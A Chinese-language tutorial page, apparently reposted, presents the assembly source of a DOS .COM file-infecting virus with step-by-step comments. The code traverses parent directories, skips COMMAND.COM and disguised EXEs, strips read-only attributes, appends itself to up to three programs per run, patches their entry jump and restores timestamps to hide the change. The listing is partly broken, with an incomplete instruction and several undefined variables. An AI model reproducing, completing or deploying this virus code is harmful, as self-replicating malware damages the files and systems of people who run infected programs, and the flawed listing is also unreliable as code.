.com感染

来源:互联网 发布:fuxk邢凯 淘宝 编辑:程序博客网 时间:2024/05/17 08:10

  .model  tiny 
  .code 

  org  0100h 

carrier: 
  db  0E9h,0,0  

start: 
  mov  bp, sp    
  int  0003h     
next: 
  mov  bp, ss:[bp-6] 
  sub  bp, offset next 

;  让我们看,当我们感染一个文件。所有的offset会偏移目标程序的大小,所 
;  以我们选择一个寄存器(通常BP或者SI),而且我们利用这个简单的方法给它赋 
;  文件的大小,每次我们使用一个变量,我们必须把这个寄存器作为偏 
;  (这里是BP) 

  mov  dl, 0000h   
  mov  ah, 0047h   
  lea  si, [bp+offset origdir+1] 
  int  0021h 

  lea  dx, [bp+offset newDTA] 
  mov  ah, 001Ah  
  int  0021h 
 
;  上面一段把当前目录保存在一个变量里面。 
;  你在这篇教程里面可以查找一下有关于DTA结构的介绍。DTA在仍然属于命令行的PSP80h byte处。

;  你想直到为什么...在我们使用命令行的时候使用DTA会发生什么呢

;  那就是我们保存DTA的原因

restore_COM: 
  mov  di, 0100h 
  push  di 
  lea  si, [bp+offset old3] 
  movsb       
  movsw     

  mov  byte ptr [bp+numinfect], 0000h 
 
;  上面一段是恢复被感染COM文件的前三个bytes,在offset 100h 处还把这个 
;  offset保存在DI里面以备后用。最后一行是把真正感染的个数初始化为
;  (计数器

traverse_loop: 
  lea  dx, [bp+offset COMmask] 
  call  infect 
  cmp  [bp+numinfect], 0003h 
  jae  exit_traverse   

  mov  ah, 003Bh  
  lea  dx, [bp+offset dot_dot] 
  int  0021h 
  jnc  traverse_loop 

exit_traverse: 

  lea  si, [bp+offset origdir] 
  mov  byte ptr [si]
  mov  ah, 003Bh   
  xchg  dx, si 
  int  0021h 


;  这里我们所做的就是感染当前目录下的所有文件,做完这个后,来到..目录下, 
;  即当前目录的上一级目录。 
;  当没有更多的目录后,我们就来到我们最先所处的目录。 


  mov  dx, 0080h   
  mov  ah, 001Ah   
  int  0021h 

return: 
  ret 


;   这一段恢复DTA为原先的地址,Program Segment Prefix(PSP)offset 80h 处 
;   然后返回到原先的offset 100h,为了正常地执行这个文件。 
;   (记住我们当di=100h时,执行了push di操作。 


old3    db  0cdh,20h,0 

infect: 
  mov  ah, 004Eh    
  mov  cx, 0007h  
findfirstnext: 
  int  0021h 
  jc  return 

;   在这段代码中,我们所做的是在当前目录下面寻找和保存在DX里的通配符(在这 
;   个例子里"*.COM"),可以为任意类型的文件。 
;   Old3 是处理被感染了的COM文件的前3字节。 
;   如果没有符合的文件,一个进位标志将会返回,然后跳转到把控制权交 
;   给主程序的处理程序。如果我们发现至少有一个可以感染,就跳转到接下来的 
;   代码,处理完了后,再寻找其它文件。  

  cmp  word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM 
  mov  ah, 004Fh    
  jz  findfirstnext  



;  这一段处理不要感染command.com这个文件,检查文件在某个位置name+5(DTA+35) 
;  有字符 DN (不是ND,是因为这两个是倒着存储的!

  lea  dx, [bp+newDTA+30] 
  mov  ax, 4300h 
  int  0021h 
  jc  return 
  push  cx 
  push  dx 

  mov  ax, 4301h   
  push  ax    
  xor  cx, cx 
  int  0021h 


;  上面一段第一部分有两个功能:为将来恢复文件的属性而保存文件的属性, 
;  检查文件是否存在或者是否有问题。 
;  第二部分在堆栈中保存4301h(写属性的函数)和清除文件讨厌的属性如只读 
;  属性 :) 

  lea  dx, [bp+newDTA+30] 
  mov  ax, 3D02h 
  int  0021h 
  xchg  ax, bx     

  mov  ax, 5700h   
  int  0021h 
  push  cx 
  push  dx 


;  第一部分以读/写模式打开文件,并把文件句柄放在BX中,放这里将会更有用。 
;  指令的第二部分获得文件的日期和时间然后保存在堆栈中。 


  mov  ah, 003Fh 
  mov  cx, 001Ah 
  lea  dx, [bp+offset readbuffer] 
  int  0021h 

  xor  cx, cx 
  xor  dx, dx 
  mov  ax, 4202h 
  int  0021h 


;  第一部分读取1Ah 字节(26) 到读缓冲区中,为后来做准备。 
;  第二部分把文件指针指向文件尾,有两个原因:1.把文件大小放到AX中 
;  2.我们将在文件尾添上病毒。  

  cmp  word ptr [bp+offset readbuffer], "ZM" 
  jz  jmp_close 

  mov  cx, word ptr [bp+offset readbuffer+1]
  add  cx, heap-start+3  
  cmp  ax, cx    
  jl  skipp 
jmp_close: 
 jmp  close 


;  第一部分比较打开的COM文件的前两个字节,为了分辨清楚这个文件是否是一个 
;  错误命名的EXE文件(记住字符串必须是倒序)。 
;  第二部分检查以前的感染,比较  病毒大小+目标文件(被感染前)大小是否和 
;  目标文件的实际大小是否相等。 

skipp: 

  cmp  ax, 65535-(endheap-start) 
  ja  jmp_close    ; Exit if so 

  lea  di, [bp+offset old3] 
  lea  si, [bp+offset readbuffer] 
  movsb 
  movsw 


;  上面指令的第一部分检查COM文件的大小,看看我们能否感染它(COM文件大小+病毒 
;  大小不能>0FFFFh(65535)),如果大于了,PSP 和堆栈会"撑爆"文件。 
;  第二部分把old3的值(3 字节赋到读缓冲区中。 

  sub  ax, 0003h  
  mov  word ptr [bp+offset readbuffer+1], ax 
  mov  dl, 00E9h    ; Opcode of jmp 
  mov  byte ptr [bp+offset readbuffer], dl 

  lea  dx, [bp+offset start] 
  mov  cx, heap-start   
  mov  ah, 0040h   
  int  0021h 


;  第一部分计算跳转到病毒的代码并把结果保存在一个变量中。 
;  第二部分把病毒附到目标文件后面:) 


  mov  ax, 4200h 
  xor  dx, dx 
  xor  cx, cx 
  int  0021h 


  mov  cx, 0003h 
  lea  dx, [bp+offset readbuffer] 
  mov  ah, 0040h 
  int  0021h 

  inc  [bp+numinfect] 


;  第一部分把文件指针指向文件开头,第二部分写跳转到病毒的代码。 
;  第三部分使变量增加以 记住已经成功感染的次数。 

close: 
  mov  ax, 5701h   
  pop  dx 
  pop  cx 
  int  0021h 

  mov  ah, 003Eh 
  int  0021h 

  pop  ax 
  pop  dx    
  pop  cx    
  int  0021h 

  mov  ah, 004Fh  
  jmp  findfirstnext 
  
;  上面指令的第一部分恢复存储在DTA里面的文件的时间和日期。 
;  第二部分关闭文件而第三部分被感染文件原先的属性。 
;  最后一部分赋AX以调用DOSFindNext函数,并寻找更多的文件来感染。 

endheap: 
end  carrier 

原创粉丝点击